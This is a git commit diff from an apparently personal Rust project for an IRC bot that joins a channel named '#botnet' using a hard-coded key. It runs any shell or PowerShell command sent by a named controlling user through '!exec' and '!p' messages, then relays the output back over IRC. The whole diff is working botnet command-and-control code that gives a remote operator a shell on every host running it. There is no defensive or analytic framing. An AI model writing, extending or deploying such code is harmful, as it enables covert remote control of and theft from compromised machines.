match statement
All checks were successful
continuous-integration/drone/push Build is passing

join with keys
This commit is contained in:
blackbeard420 2023-12-28 21:42:33 -05:00
parent 54b29b8e82
commit 06e54075a8
Signed by: blackbeard420
GPG Key ID: 88C719E09CDDA4A5

View File

@ -17,7 +17,7 @@ async fn main() -> Result<(), failure::Error> {
let mut client = Client::from_config(config).await?; let mut client = Client::from_config(config).await?;
client.identify()?; client.identify()?;
client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?;
let mut stream = client.stream()?; let mut stream = client.stream()?;
let sender = client.sender(); let sender = client.sender();
@ -25,62 +25,68 @@ async fn main() -> Result<(), failure::Error> {
while let Some(message) = stream.next().await.transpose()? { while let Some(message) = stream.next().await.transpose()? {
print!("{}", message); print!("{}", message);
if let Command::PRIVMSG(ref target, ref msg) = message.command { match message.command {
if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" { Command::PRIVMSG(ref target, ref msg) => {
if &msg[1..5] == "exec" { if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
let mut args = msg.split_ascii_whitespace().skip(1); if &msg[1..5] == "exec" {
let mut args = msg.split_ascii_whitespace().skip(1);
let mut cmd = process::Command::new(args.nth(0).unwrap());
let mut cmd = process::Command::new(args.nth(0).unwrap());
for x in args {
cmd.arg(x); for x in args {
cmd.arg(x);
}
println!("{:?}", cmd);
let out = cmd.output().unwrap();
let output = String::from_utf8_lossy(&out.stdout).to_string();
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move {
send_message(s, t, output).await
});
}
if &msg[1..2] == "p" {
let mut cmd = process::Command::new("powershell");
cmd.arg("-command");
cmd.arg(&msg[3..]);
println!("{:?}", cmd);
let out = cmd.output().unwrap();
let outerr = String::from_utf8_lossy(&out.stderr).to_string();
let output = String::from_utf8_lossy(&out.stdout).to_string();
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move {
send_message(s, t, outerr).await
});
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move {
send_message(s.clone(), t, output).await
});
} }
println!("{:?}", cmd);
let out = cmd.output().unwrap();
let output = String::from_utf8_lossy(&out.stdout).to_string();
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move {
send_message(s, t, output).await
});
}
if &msg[1..2] == "p" {
let mut cmd = process::Command::new("powershell");
cmd.arg("-command");
cmd.arg(&msg[3..]);
println!("{:?}", cmd);
let out = cmd.output().unwrap();
let outerr = String::from_utf8_lossy(&out.stderr).to_string();
let output = String::from_utf8_lossy(&out.stdout).to_string();
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move {
send_message(s, t, outerr).await
});
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move {
send_message(s.clone(), t, output).await
});
} }
} }
Command::MOTD(ref _motd) => {
client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?;
}
_ => {}
} }
} }